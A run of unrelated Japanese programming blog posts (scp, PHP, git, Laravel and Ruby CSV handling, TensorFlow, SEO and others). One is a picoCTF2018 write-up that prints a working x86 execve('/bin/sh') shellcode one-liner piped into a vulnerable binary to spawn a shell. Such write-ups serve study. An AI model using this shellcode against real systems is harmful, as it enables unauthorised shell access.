`scp -i 鍵名.pem ローカルにあるファイルのパス 接続user@AWSのパブリックDNS : 転送先のパス`
ディレクトリを送りたい場合は`-r ローカルにあるディレクトリパス`とオプションを付け加えてあげればOK

うまくいかない場合、パス指定が間違ってないか、権限を再確認するなどの確認をしてみてください。

あとはsshでサーバーに入って目的のファイルが転送されているか確認。
変更したファイルの権限を戻すのも忘れずに。
【超速】php環境構築！(ubuntu18.04-desktop)

自分はエミュレータとか、WEBの仮想環境とかあまり良くわからない。
というか、パッケージの連携が見えづらくて性に合わないのです。

便利なツールでお手軽にできるのはとてもいいんですが、こればかりは性分。


### 1.ubuntu18.04-desktopを用意する。(OSを用意する)
ServerでもVMでも大丈夫です。
自分は余ってるデスクトップやノートPCにUbuntu18.04を入れてます。

### 2.phpのインストール
端末（コンソール）で以下のコマンドを実行する。
`sudo apt install php`

これでPHPとApacheがインストールされます。

### 3.phpファイルを書いてみる
vimでドキュメントルートに作成する。

```/var/www/html/hello.php

<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
<?php echo "Hello World";
?>
 </body>
</html>
```

### 4.phpでアクセスしてみる。
echoの部分がちゃんと解釈されてます。

```sh
root@ajitama-Ezpad:/var/www/html# php hello.php 
<html>
 <head>
  <title>PHP Test</title>
 </head>
 <body>
Hello World </body>
</html>

```

### 5.ブラウザでアクセスしてみる。
簡素だけど表示されます。
これをきっかけに広げていこう。

![Screenshot from 2019-05-31 01-25-48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/213689/5ba88d62-beb4-1efd-b736-e150837db6e4.png)
Mozillaからのアンケートはもう回答した?JavaScriptの言語設計に関する調査に協力しよう!

<blockquote class="twitter-tweet" data-lang="ja"><p lang="en" dir="ltr">I am running an experiment to see if we can use evidence based methods to identify how a proposal fits into JavaScript. I need your help! Please share  <a href="https://t.co/oL0KI7ig4K">https://t.co/oL0KI7ig4K</a></p>&mdash; yulia (@ioctaptceb) <a href="https://twitter.com/ioctaptceb/status/1133750888223465472?ref_src=twsrc%5Etfw">2019年5月29日</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

[Mozilla Hacks](https://hacks.mozilla.org/)の記事は読みましたか？
TC39の代表の一人のYulia Startsevさんから [JavaScript and evidence-based language design](https://hacks.mozilla.org/2019/05/javascript-and-evidence-based-language-design/) の記事が先日公開されました。

 - 言語の設計で実証的な根拠をどのように使用することができるのか？
 - 開発者とより直接的に繋がった時に、私たち(言語仕様策定者)にどのような影響を与えるのか？
 - 毎年業界に加わる何千人もの新しいコーダーがJavaScriptの設計にアクセスできるようにするにはどうすればよいのか？

これらに答えるためには実験が必要で、私たちの助けが必要と書かれてあります。

それが[このアンケート](https://qsurvey.mozilla.com/s3/2019-TC39-Feature-Experiment)です。

経歴を問わず、みんなの助けが必要とのこと。15分程度で終わります。

---

JavaScriptの発展とこの新しい試みがうまくい事を願っています。
みなさんも協力してみませんか？

PS. アンケートのロジックはわからないけど、自分のアンケートではパイプライン演算子の事を聞かれてウキウキだった。アンケートの最後に「I love pipeline operator!!」って書いたので思ったよりも早めに入ってくれたら嬉しいな〜 笑
pythonのパッケージの保存場所

# pythonのモジュールの依存関係 

今日、`tensorflow`をJupiter notebookで使ってみようとしたところ、つまってしまった。

`pip install`したはずだが、importしようとすると、

` ModuleNotFoundError: No module named 'tensorflow'`

と出てしまう。


調べてみたところ、他のパッケージと保存先のディレクトリが違うことが原因でこういったことが起こっているようだ。

`sys.path`で、importの際にパッケージを探しにいくディレクトリを調べることができる。
私の場合は、以下のようになった。

```
['/Users/hoge',
 '/anaconda3/lib/python37.zip',
 '/anaconda3/lib/python3.7',
 '/anaconda3/lib/python3.7/lib-dynload',
 '',
 '/anaconda3/lib/python3.7/site-packages',
 '/anaconda3/lib/python3.7/site-packages/aeosa',
 '/anaconda3/lib/python3.7/site-packages/IPython/extensions',
 '/Users/hoge/.ipython']
```

インストールしたパッケージの場所がこれらのいずれかであったら、importできるわけだ。

例えば、インストールしたパッケージの一つである、`cv2`の場所が知りたいと思って、

```
import cv2
cv2.__file__
```

と打つと、

```
/anaconda3/lib/python3.7/site-packages/cv2/cv2.cpython-37m-darwin.so
```

となり、`cv2`の場所が上のpathのリストに含まれていることが確認できる。

では、`tensorflow`はどこにあるのだろうか。

pip installしたパッケージの保存場所は、`pip show`で確認できるらしい。

やってみたところ、

```
Name: tensorflow
Version: 1.13.1
Summary: TensorFlow is an open source machine learning framework for everyone.
Home-page: https://www.tensorflow.org/
Author: Google Inc.
Author-email: opensource@google.com
License: Apache 2.0
Location: /usr/local/lib/python2.7/site-packages
Requires: enum34, keras-preprocessing, wheel, astor, backports.weakref, tensorflow-estimator, mock, termcolor, protobuf, gast, tensorboard, absl-py, grpcio, six, keras-applications, numpy
Required-by:
```

`Location: /usr/local/lib/python2.7/site-packages`とあり、確かに上のパスのリストの中にはない。

`Location: /usr/local/lib/python2.7/site-packages`にpathを通すか、ディレクトリを移動するかのどちらかで、tensorflowを使えるようにできるだろう。

しかし、なぜ、同じようにpip install しているのに保存先が違うのか。。
Windows10Tips

Windows10で結構ツールが充実していたのでまとめ。

# ウィンドウのスナップ
ウインドウを並べて使いたいときに。

| 機能    | ショートカットキー|
|:--------------------|------------------|
| 左右の分割           |win + ←/→| 
| 上下の分割(左右分割後)|win + ↑/↓| 
| ウインドウ最大化      |win + ↑| 
| ウインドウ最小化      |win + ↓| 

左右分割した後に、ウインドウの境目をドラッグすると左右の両方のウインドウのサイズ調整ができる。

--- 
# 画面のロック
 win + l
# クリップボード履歴
win + v

--- 
# スクリーンショット
全画面
　PrintScreen
アクティブウィンドウ
　Alt + PrintScreen 

# 画面を録画
　win + g

--- 
# 仮想デスクトップ
タスクビューを開く
　win + tab
作成
　ctrl + win + d
削除
　ctrl + win + F4
切り替え
　ctrl + win + ←/→

--- 
# Snipping Tool
windows標準で入っているスクリーンショット取得ツール。矩形選択もできる。
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108016/789c532f-7cf8-2656-df0a-9687f2ca6a90.png">

--- 
# 切り取り＆スケッチ
新しいwindows10バージョンだと切り取り＆スケッチに移行してる。
win + shift + s　で起動できる。スクリーンショット取得後はアクションセンターに通知が出るのでそこから書き込みもできる。
<img width="500" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/108016/7ed88635-4f2f-9ab0-3d09-f96d6ac2dbf3.png">

--- 
# ツールバー
タスクバーを右クリック→ツールバー→新規ツールバー
ショートカットやバッチを詰め込んだフォルダを指定する。
追加されたツールバーを右クリックしてアイコンの大きさやタイトルの表示の切り替えをすればランチャーのように使える。
携帯の辞書にマークダウン記法をインプットして楽に書きたい！

# タブレットでマークダウンすっごい書きずらい...
 **圧倒的そば派**、みやゆーです。

 思いついたことがあればQiitaにストックして、まとまったら投稿する。エンジニアになってまだ間もないですが**｢私、文系じゃね...？｣**なんて思いながら楽しく記事を書いています。

 なので外出先でもサクッとマークダウンでメモを取りたいものです。

  でも、**タブレットのキーボードでマークダウン書くの超めんどい。**いやマジで。

 例えば、私、iPhoneもiPadもキーボードはSimeji使ってるんですけど、文字を太字にする時はこんな感じ。
<img width="768" alt="6EF6825E-BFBA-4725-808A-DCE32449713F.jpeg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403350/c965bb8a-e0b2-12ba-0c89-1a6dbd2af0a4.jpeg">
右下の`.?123`を押して、
<img width="768" alt="D6220CDB-96BA-44C0-8769-479F62DA97D6.jpeg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403350/3999f01f-edcc-3d22-aa77-c9042444b0c3.jpeg">
左下の`#+=`押して、
<img width="768" alt="140056E5-A948-4FA8-BEB9-92B41C2A48DB.jpeg"src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403350/6179ba81-d8e6-42d4-82c7-023e337cee5f.jpeg">
あらかじめ`****`と打って、`確定`押して、
<img width="768" alt="05C70BB6-7004-4176-803D-3C489B1415D9.jpeg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403350/09fb3871-f365-6fc4-591c-875eb5371f75.jpeg">
2文字戻して、文字を入れる。
<img width="768" alt="3874ABFD-B5E5-4E7C-A864-5A5A13AD3E82.jpeg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403350/26b8c36b-0601-2936-eb36-f3c7c5b58951.jpeg">
**いやバカめんどくさい。**こんなしてる間にやる気は遥か彼方ですよ。

# やってみた⊂(^ω^ )⊃

  なので、**simejiの辞書にマークダウン記法で使う用の言葉を入れてみました。**

**<font color="Red">注意⚠<br>iOSアプリで調べれば、マークダウンで書けるメモ帳などは沢山あります。これは専用のアプリ以外でもマークダウンで書きたい！というみやゆーの自己満なのでご了承ください。</font>**<br>もっといい方法があったら是非コメントで教えてください。

  入れてみた文字はこちら。
<img width="768" alt="1629333F-4DBB-4DAD-9B75-24955D54987B.jpeg" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/403350/35ece3b3-5988-7b90-9084-156760a9597c.jpeg">
それぞれの言葉の先頭に、"ま"と入れてます。ボーダーだったら、｢まぼーだー｣といった感じです。

 なんでこんなことしてるかっていうと、**｢この書き方、名前なんだっけ？｣ってド忘れした時に、｢ま｣って打てばとりあえず予測変換で一覧が出てくるからです。**マークダウンの書き方については、**ググッてください。**いっぱい出てきます。

# 実践⊂(^ω^ )⊃

 早速使ってみました。試しに何か書いてみると...

 **めっちゃ使いやすいやんけ...**

 実践動画も載せようと思ったのですが、辞書に会社のメアドとか現住所とかも登録してて予測変換で普通に出ちゃうんです。**個人情報公開おじさんになっちゃう**ので載せれませんでした。
 編集めんどくさいけどそのうち実践動画も載せたいと思います。**やれたらやる。**
 ただ、まだ慣れてないので、練習すればもっと使いやすく感じると思います。

 これでマークダウンでメモも捗る！**スタバでMacいじってる人の隣で、携帯でQiitaの記事書いちゃうもんね！**

 皆さんも携帯やタブレットの辞書にマークダウン記法を取り入れてみてはいかがでしょうか。みやゆーでした。
RubyでBOM付きUTF-8、BOM無しUTF-8、Shift JISなCSVファイルをそれぞれいい感じに読み込む

エンタープライズ寄りなアプリケーションを作っていると、データベースの内容をCSVファイルとしてエクスポートしお客さんに編集してもらい、再度インポートするという処理を書く時がある。

この時、お客さんから我々のアプリケーションに送られてくるCSVファイルの文字コードは、以下の3パターンが考えられると思う。

* BOM付きUTF-8
    * お客さんがCSVファイルをExcel上で編集し、そのまま上書き保存したもの。
* BOM無しUTF-8
    * お客さんがCSVファイルを保存時にBOMを削除してくるソフトウェア[^1]上で編集し、上書き保存したもの。
* Shift JIS
    * お客さんがCSVファイルをExcelブック（xlsxファイル）として保存した後、CSVファイルとしてエクスポートしたもの。

これら3パターンをいい感じに扱うコードがこちらだ。

```ruby
require 'nkf'

# 文字コード検証部分
headers_str = params["csv"]["tempfile"].readline # 1行目のヘッダ部分だけ取得
encoding = NKF.guess(headers_str) # NKFモジュールで文字コードの判定
encoding = "BOM|#{encoding}" if encoding == Encoding::UTF_8 # UTF-8なら、 BOM| をつける。

# CSVファイル読み込み部分
CSV.foreach(params["csv"]["tempfile"], encoding: encoding).each do |row|
  # 何らかの処理
end
```

以下にポイントだけ書いておく。

* `NKF.guess` は `Encoding` オブジェクトを返す。
* RubyのNKFモジュールはBOM付きUTF-8とBOM無しUTF-8を区別してくれないようなので、NKF.guessの返り値がUTF-8な時は一律で `BOM|` をつけている。
    * CSV.foreachのencodingオプションに 'BOM|UTF-8' を渡すとBOMがある場合は自動的に取り除いてくれるので、BOM無しUTF-8文字列を渡しても問題ない
    * `BOM|Shift_JIS` のような文字列を渡してしまうと問題なので、 `if encoding.to_s == "UTF-8"` という条件を付けている。

「こんなCSVが送られてきたらダメでしょ！」など、なにかツッコミあったらやさしく教えてください。

[^1]: そんなものあるのか？未検証。
AWS上のWindowsServerに対して、ローカルmacからansibleを実行 #6 ディスク情報取得用のplaybook

ディスク情報取得用のplaybook。
マニュアルは、https://docs.ansible.com/ansible/latest/modules/win_disk_facts_module.html

```conf:getDiskInfo.yml
---
- hosts:
  - windows  # インベントリファイルで指定した名前

  tasks: 
  - name: Get disk facts
    win_disk_facts: 
```

win_disk_factsで情報が取得できるが、とにかく内容が膨大。

以下コマンドで実行。
`ansible-playbook -i ./ansible/hosts ./ansible/getDiskInfo.yml -vvv`

```terminal:コマンド実行結果
量が多いので割愛
```

マニュアルに戻り値の内容が記載されているが、すべてのプロパティを確認するには、
MSのサイトじゃないとわからないみたい。
https://docs.microsoft.com/ja-jp/previous-versions/windows/desktop/stormgmt/storage-management-api-classes
作業前にとりあえず取得しといて、作業後と比較する用かな。
pythonでmysqlを使う方法

####pythonでmysqlを使わなくてはならなくなったのでメモしておきます。


```
def pysql():
    !pip install mysql-connector-python
    import mysql.connector
    config = {
        'user': '',
        'password': '',
        'host': '',
        'database': ''
    }
    cnx = mysql.connector.connect(**config)
    cur = cnx.cursor()
    query = ""
    cur.execute(query)
    row = cur.fetchone()
    

    return row
```
生産性が低い

# この流れは断ち切らないと
- 諸処の事情で最近お勉強する時間が遅い
- 今日もプッシュ問題やるもそもそも始める時間が遅いので上手くいかなし、時間をかけて調べる時間もとれていない
- これは生産性が低いと思うのでダメだと思う。いきなり明日は難しいので週末から改善していく

# 今日の気持ち
- duet displayで接続していたサブモニター（iPad）を今まで変えて右側に置いてみた。なんかいい感じかも
- これだけは進捗がいい:relaxed:
OneDriveの中にあるOneNoteファイルのバックアップ

OneDriveの中ではOneNoteファイル（ノートブック）だけなぜか**コピーやダウンロードができません**。これではバックアップが取れないと思いましたが代わりの方法（妥協案）でバックアップを取ることができましたので紹介します。
![image01.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/427559/95157736-68db-a54a-2236-234346af0218.jpeg)
![s.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/427559/9cd6961f-4374-f989-74ed-6394fcac74b1.png)

OneNoteファイルをコピーやダウンロードするのではなく、**セクションを別のOneNoteファイルにコピーします**。
![image01 (2).jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/427559/28a2befe-af59-d796-e242-e0d0d5d4b177.jpeg)

これでは全部消えてしまうなんて事態は避けられますね！
SEOのずらしキーワードについて

SEOの話なんですけど、SEOのずらしキーワードって知ってますか。
ずらしキーワードっていうのは、ボリュームでかいキーワードは難易度高いから競合が弱いキーワードで上位表示を狙いましょうっていう手法です。

例えば、「クレジットカード 必要」っていうキーワードより「クレジットカード 必要 20代」の方がボリューム少ないのは想像つきますよね。
基本的にロングテールキーワードの方がボリューム少なくなるんで。

ここら辺の説明は以下のnoteで具体的にどうすれば良いのか書かれてます。
https://note.mu/kodamaayumu/n/n90e1e11a61cc
読んでみてください。

なんでずらしキーワードが有効なのかというと、一番は上位の記事にタイトルにキーワードが入っている記事が少なくなるからです。

タイトルに狙うキーワードを入れるとかは基本中の基本で誰もがやってることだとは思うんですけど、それをやっていない記事が多いところで勝負できるという。。。

例えば、「クレジットカード 必要」というキーワードの上位記事をみてみると全ての記事のタイトルにクレジットカードと必要というキーワードが入っていると思います。

しかし、「クレジットカード 必要 20代」というキーワードで検索してみると、ほとんどのタイトルがクレジットカード、必要、20代というキーワードがタイトルに入っていません。

つまり、クレジットカード 必要 20代というキーワードなら、ドメインが弱くても上位表示の可能性が高いということです！

そのため、サイト運営初期やドメインが弱い場合はキーワードをずらして書くのが一番良いです。

他には、「医療保険 請求期限」というキーワードをずらすとしたら、「医療保険 請求時効」とかですね、これも検索結果見てもらえばわかると思います。

つまり、キーワードのずらしは以下の2点にまとめられます！
・ロングテールのずらし 具体例：「クレジットカード 必要 20代」
・類義語、関連語のずらし 具体例：「医療保険 請求時効」

最後にずらしキーワードで面白いものがあったので、紹介しておきますね。

「医療保険 手術給付金」のボリュームは90なんですけど、「医療保険 手術給付金 いくら」のボリュームは390っていう。。。

難易度低くなってるのにボリュームはでかくなっているというパターンもあるので、いろいろ探してみると面白いですよ！

最後に、「医療保険 手術給付金 いくら」の上位記事でSEO的によくできてる記事があったので、見てみてくださいね！
キーワードがよく詰め込まれています。
https://xn--nckg3oobb4958bn6evy5f7u2c.com/archives/2426


SEOってめちゃくちゃ奥深いですよねえ

やっぱり面白いですね！
皆さんも頑張っていきましょう！
横長のデータでも Laravel の CSV 出力を行うためには

# はじめに

CSV を Laravel で出力しようと思ったら、関数一発かませば終わり、とはいきません。
以前利用していた FuelPHP はその辺楽だったんですが、Laravel では横着ができないので
もうちょっとビシッと書く必要があります。

## 意外と知られてないけど
だいたい CSV って Excel で読ませますよね？
UTF-８ で出力すると Excel で読んだ時に化けるからみなさん一生懸命
Shift-JIS化してると思います。私もそうでした。

ですが BOM をつけてやると UTF-8 のまま出力しても Excel で読めます。
まあ、なんて便利なのでしょう...


## 間違った書き方

```php:DemoController.php
public function csv()
{
	// リスト
	$lists = [
	    ['おはよう', 'おやすみ'],
	    ['こんにちは', 'さようなら'],
	];

	// ファイル生成
	$stream = fopen('php://output', 'w');
	fwrite($stream, pack('C*',0xEF,0xBB,0xBF)); // BOM をつける
	        
	// ヘッダー
	fputcsv($stream, ['header1', 'header2']);

	// 
	foreach ($lists as $list) {
	    fputcsv($stream, $list);
	}

	return response(stream_get_contents($stream), 200)
	             ->header('Content-Type', 'text/csv')
	             ->header('Content-Disposition', 'attachment; filename="demo.csv"');
}
```

### 何が問題か
これは `$header` や `$list` のデータサイズが小さければ全く問題なく出力されるんですが、
一行がある程度の長さを越えると CSV ではなく、レスポンスがなぜか０バイトになったり HTTP ヘッダの
*Content-Type* が **text/html** になったりします。

`php://output` の部分を `php://temp` や `php://memory` にしても解決しませんでした。

output だとヘッダが代わり、後者の二つだと０バイトという現象でした。
カラム内のデータサイズにもよるんですが、体感では50-80カラムくらい横に伸ばすと
NGになってしまいました。


## 正しい書き方

自分はまずトレイトを作りました。

```php:App/Http/Traits/Csv.php
namespace App\Http\Traits;

trait Csv {
    
    /**
     * CSVファイルを生成する
     * @param $filename
     */ 
    public static function createCsv($filename) {
        $csv_file_path = storage_path('app/'.$filename);
        $result = fopen($csv_file_path, 'w');
        if ($result === FALSE) {
            throw new Exception('ファイルの書き込みに失敗しました。');
        } else {
            fwrite($result, pack('C*',0xEF,0xBB,0xBF)); // BOM をつける
        }
        fclose($result);

        return $csv_file_path;
    }

    /**
     * CSVファイルに書き出す
     * @param $filepath
     * @param $records
     */    
    public static function write($filepath, $records) {
        $result = fopen($filepath, 'a');

        // ファイルに書き出し
        fputcsv($result, $records);

        fclose($result);
    }
    
    /**
     * CSVファイルの削除
     * @param $filename
     */  
    public static function purge($filename) {
        return unlink(storage_path('app/'.$filename));
    }
}

```


次にコントローラーで利用できるようにします。

```php:DemoController.php

use App\Http\Traits\Csv;

class DemoController extends Controller
{
    use Csv;

    // 略
}
```

で、method 側はこう

```php:DemoController.php

public function csv() {
    // リスト
    $lists = [
        ['おはよう', 'おやすみ'],
        ['こんにちは', 'さようなら'],
    ];

    $filename = 'demo.csv';
    $file = Csv::createCsv($filename);

    // ヘッダー
    Csv::write($file, ['header1', 'header2']); 


    // 値を入れる
    foreach ($lists as $list) {
        Csv::write($file, $list);
    }

    $response = file_get_contents($file);
    
    // ストリームに入れたら実ファイルは削除
    Csv::purge($filename);

    return response($response, 200)
             ->header('Content-Type', 'text/csv')
             ->header('Content-Disposition', 'attachment; filename='.$filename);
}
```

というわけで、stream に全部いれて横着しようとしたらあかんかった、という結論です。
php.ini のパラメータどっかいじればいいんでしょうけど、まあ実際はファイルにちょびちょび書いていったらいいだけでした。


### よく考えたら
Laravel感があるのストレージパスとかだけやった。
git fetchしてもリモートリポジトリのブランチを取得できない時

# 他の人のブランチにチェックアウトしようとした際に発生。

.git/configのfetchの値がおかしい時に発生

こうなっていたのを

```
[remote "origin"]
fetch = +refs/heads/master:refs/remotes/origin/master
```

こうすれば変更可能。

```
[remote "origin"]
fetch = +refs/heads/*:refs/remotes/origin/*
```
【Gitコマンド操作超初級】Gitをコマンドで操作して、Githubのリモートリポジトリとローカルリポジトリを紐づける

# はじめに
ここで記載している内容は、全て無料で行うことが出来ます。
また、めちゃくちゃなコマンドを打ってファイルが消えようがリポジトリがおかしくなろうが、
他の誰にも迷惑がかからないので、「こうやったらどうなるんだ？」を思う存分試すことができます。

その割に、習得できれば、エンジニアとして働くうえで、大いに役に立つと思います。
お気軽にご覧ください。


# こんな方のお役に立てばいいな
・SourcetreeでGitを利用しているのでGitの事はまぁまぁ分かってきたけど、コマンドラインでの操作はやったことがない
・Gitのことを、ネットの記事や技術書で多少勉強したが、実践経験が少ない

# 目的
個人のソースをGithubのリモートリポジトリにpushしたりリモートリポジトリからローカルリポジトリへpullしたりして、作業場所を選ばず開発できるようにする
・・・というのを、コマンドラインで実行する

# 具体的にやること
Githubのリモートリポジトリを、コマンドを使って、ローカルリポジトリにClone

# 期待する結果
・Githubのリモートリポジトリを、コマンドを使って、ローカルリポジトリにCloneできる
・ローカルリポジトリでの変更をリモートリポジトリにpushできる

# 下準備
共通
https://github.com/
・Githubのアカウントを作成
　※ユーザー名、パスワードは後々も使うので必ず控えておくように
・Githubのリポジトリを作成

Windowsの場合:
①Git for Windowsのインストール　
https://gitforwindows.org/
②ローカルの任意の場所に、リモートリポジトリをCloneするディレクトリの作成

Macの場合：
①Gitが使用できることを確認する
　ターミナル起動＞```git --version```＞バージョンが表示されればGit使用可能
②ローカルの任意の場所に、リモートリポジトリをCloneするディレクトリの作成

# コマンド実行
※各コマンドの意図は後述
①Git bash(Windowsの場合）/　Terminal(Mac)を開く
②cd [リモートリポジトリをCloneするディレクトリの名前]
③echo "#hogehoge" >> README.md
④git init
⑤git add README.md
⑥git commit -m "コミットメッセージ"
⑦git status
⑧git remote add origin [リモートリポジトリのURL.git]
⑨git push -u origin master
⑩git status
⑪git branch [ブランチ名]
⑫git checkout [ブランチ名]

# コマンドの意図
①Gitコマンド実行用意
②リモートリポジトリをCloneするディレクトリに移動
③README.mdファイル内に、#hogehogeという文字を入力する（何らかのファイルを新規作成する、でも可）
④このディレクトリをgitのリポジトリ対象とする。.gitというディレクトリを作成する（初回のみ一度だけ実行する必要あり）
⑤ローカルのファイルをaddする
⑥コミットメッセージ付きで、変更をコミット
⑦「変更があったことがGit上で認識され、変更したファイルの名前が表示されること」を確認する
⑧リモートリポジトリを追加する
⑨ローカルリポジトリの内容をリモートリポジトリにpushする
　-uについては、このオプションをつけるとローカルリポジトリの現在のブランチの上流をorigin master に規定したことになる。
参考：https://qiita.com/shumpeism/items/1b8027c8905ca826416d
⑩「コミットした内容がリモートリポジトリにpushされ、ブランチがCleanになっていること」を確認する
⑪ブランチを新規作成
⑫⑪で作成したブランチに移動
（⑤～⑫の繰り返し）

# おわりに
コマンドでのGit操作に、「面倒くさそう」「上手くいってるのかいってないのか見えなくて何かイヤだ」といった感想を抱いている方、私もかつてそうでした。
ですが、自分でGithubでリポジトリを作り、コマンドをあれこれと打って動きを確認していくうちに、そういった苦手意識は少しずつ薄れていっています。
ぜひ、物は試しで、やってみてください。少しでもお役に立てたなら幸いです。

# 参考にさせていただいた記事
https://qiita.com/jesus_isao/items/63557eba36819faa4ad9
https://qiita.com/yuyakato/items/41751848add5dfd5289c
https://qiita.com/risagon/items/0cd3592b08ee058ffb80
https://qiita.com/nnahito/items/565f8755e70c51532459
picoCTF2018 writeup shellcode

以下のWriteupを参考に解きました．
自分なりに噛み砕いて解法を書きます．

- 参考：[picoCTF2018 writeup](https://qiita.com/mayoneko/items/1d2d230d4246fde9d0bc#points-200shellcodebinary-exploitation)

# 解く手順

## 渡されるソースコードを解読する

問題と一緒にソースコードが渡されます．
main関数を見ると，標準入力から渡された文字列をそのまま関数のように実行することがわかります．
そこで，シェルコードを実行プログラムに渡せば，シェルを立ち上げることができます．

## シェルコードを書く

アセンブリ言語を書くのが難しかったので，インターネット上のコードをそのままコピペしました．

[Linux/x86 - execve(/bin/sh) - 25 bytes](http://shell-storm.org/shellcode/files/shellcode-585.php)

## 実行

`echo`でシェルコードを出力して，実行プログラムにパイプします．

```bash
$ (echo -e "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; cat) | ./vuln
```

`-e`でエスケープシーケンスを解釈してくれます．（"\x"をつけると16進数とみなす）
`echo`の後に`cat`を実行することで，端末からの入力を受け取り続けるので，シェルを起動し続けることができます．

## フラグ獲得

成功しても何も表示されませんが，`cat flag.txt`を実行すると，中身のフラグを得ることができます．
勉強会メモ[2019/05/30]

# はじめに
[この勉強会](https://supporterzcolab.com/event/816/)に参加してきたので、その内容についてまとめます。  
「新規サービス開発に求められるエンジニアの特性とは！？」というタイトルでした。講師の方は営業企画部（新規サービスをどのように売るかを企画する部署）に所属している人で、その職業からの視点で今回のテーマについてお話してくださいました。この記事では講師の方の話を私なりに解釈した内容をまとめています。もしかしたら一部認識の齟齬があるかもしれません。（ちなみに今回この記事を投稿することは講師の方より了承を得ています）

# 話の背景
[一部経団連企業による終身雇用の否定](https://business.nikkei.com/atcl/gen/19/00002/051400346/)、[副業解禁](https://business.nikkei.com/atcl/report/16/021900010/042600066/)、[AI時代](https://toyokeizai.net/articles/-/246712)など、今の社会動向は大きく変化していっています。こういった時代変化に伴って、私たちエンジニアを含む企業に務める人たちの働き方・求められ方も変化していくと予想できます。  
また企業そのものとしても、[新たなイノベーションを起こすための取り組み](https://mirai.doda.jp/series/interview/mufg-2/)が行われています。そんな中で新規事業を開拓していくことはとても重要です。  
今回の講演では新規サービスについての３つの課題についてお話されました。

- 経験豊富な人がいない
- その事業をやったことないことがほとんど
- すべての内容を網羅している人がいない

当然新たな事業・サービスを起こすときにその事業内容を経験している人を社内で見つけることは難しいです。また、新規サービスは小規模な単位の事業内容が広がっていて、そのすべての内容を網羅できる人はほとんどいません。  
そういった新規サービス開発には、その事業内容に求められるエンジニアの特性というものがあります。

# 新規サービス開発に求められるエンジニアの特性とは！？
エンジニアに求められる特性について３つのポイントを話していました。

1. ポジティブさ
2. 広く浅い知識
3. コネクション

以下にて各ワードについて解説します。

## ポジティブさ
この言葉の意味は、別に明るい性格の人間が求められているという訳ではありません。前向きに新しいことを何でも学ぼうとする人、色んな知識をスポンジのように吸収していく人が求められるということです。  
新しいことをキャッチアップできる人が新規サービス開発ではもとめられます。

## 広く浅い知識
多岐にわたる分野に携わることがあっても、本人はその各分野の専門性に突き抜けている必要はありません。重要なことはその各分野に詳しい専門家を引き入れる力で、そのために広く浅い知識を身につける必要があります。 
ただしここで注意したいのは、人任せにしていいということではなくまずは自分で考えることが大事であり、前述したように自分自身も学び続ける姿勢が重要です。

## コネクション
困ったときに相談できる人を見つけておくことです。社内だけではなく社外にも作っておくといいです。そして多くの人から情報を吸収した上での情報選択能力が必要になります。

# 具体的に起こすべき行動
以上のような特性をもつエンジニアを目指すために、まず最初に実行してみるといい具体的な行動について３つ示されました。

1. 興味のある分野から勉強を始める
2. 頼まれたら断らないスタンスを貫く
3. どんな形でもいいからアウトプットをする

# まとめ
以下に今回の話の重要な要素についてまとめます。

- ポジティブさを持って可能性を追い求める
- 多面的に物事を見れるように勉強
- 質問・宿題をもらうことで関係性を築く

# 所感
自分はまだ社会人エンジニアになってまだ日が浅いので、今回の話で共感できる場面を想像することは正直なところ特にありませんでした。しかしまだ経験が何も無い今の段階だからこそ、こういった話を聞けたことは自分の今後のエンジニア人生にプラスになったのではないかと思います。
畳み込みニューラルネット Part2 [TensorFlow2.0でDeep Learning 5]

([目次はこちら](http://qiita.com/kumonkumon/items/6fd05963df92e9eec8c0))

#はじめに
[畳み込みニューラルネット Part2 [TensorFlowでDeep Learning 5]](https://qiita.com/kumonkumon/items/82743a2da36ce8f86487)をtensorflow2.0で実現するためにはどうしたらいいのかを書く(`tf.keras`)。

# コード
Python: 3.6.8, Tensorflow: 2.0.0a0で動作確認済み

[畳み込みニューラルネット Part2 [TensorFlowでDeep Learning 5]](https://qiita.com/kumonkumon/items/82743a2da36ce8f86487)
([mnist_fixed_cnn_fc.py](https://github.com/kumon/DeepLearningExercise/blob/master/src/tensorflow/mnist_fixed_cnn_fc.py))を書き換えると、

[v2/mnist_fixed_cnn_fc.py](https://github.com/kumon/DeepLearningExercise/blob/master/src/tensorflow/v2/mnist_fixed_cnn_fc.py)

```v2/mnist_fixed_cnn_fc.py
from helper import *

IMAGE_WIDTH, IMAGE_HEIGHT = 28, 28
CATEGORY_NUM = 10
LEARNING_RATE = 0.1
FILTER_NUM = 2
FEATURE_DIM = 100
EPOCHS = 15
BATCH_SIZE = 100
LOG_DIR = 'log_fixed_cnn_fc'


class Prewitt(tf.keras.layers.Layer):
    def build(self, input_shape):
        v = np.array([[ 1, 0, -1]] * 3)
        h = v.swapaxes(0, 1)
        self.kernel = tf.constant(np.dstack([v, h]).reshape((3, 3, 1, 2)), dtype = tf.float32, name='prewitt')
        self.built = True

    def call(self, x):
        x_ = tf.reshape(x, [-1, x.shape[1], x.shape[2], 1])
        return tf.abs(tf.nn.conv2d(x_, self.kernel, strides=[1, 1, 1, 1], padding='SAME'))

if __name__ == '__main__':
    (X_train, y_train), (X_test, y_test) = mnist_samples()

    model = tf.keras.models.Sequential()
    model.add(Prewitt((IMAGE_HEIGHT * IMAGE_WIDTH, FILTER_NUM), input_shape=(IMAGE_HEIGHT, IMAGE_WIDTH)))
    model.add(tf.keras.layers.Flatten())
    model.add(tf.keras.layers.Dense(FEATURE_DIM, activation='relu'))
    model.add(tf.keras.layers.Dense(CATEGORY_NUM, activation='softmax'))
    model.compile(
            loss='categorical_crossentropy',
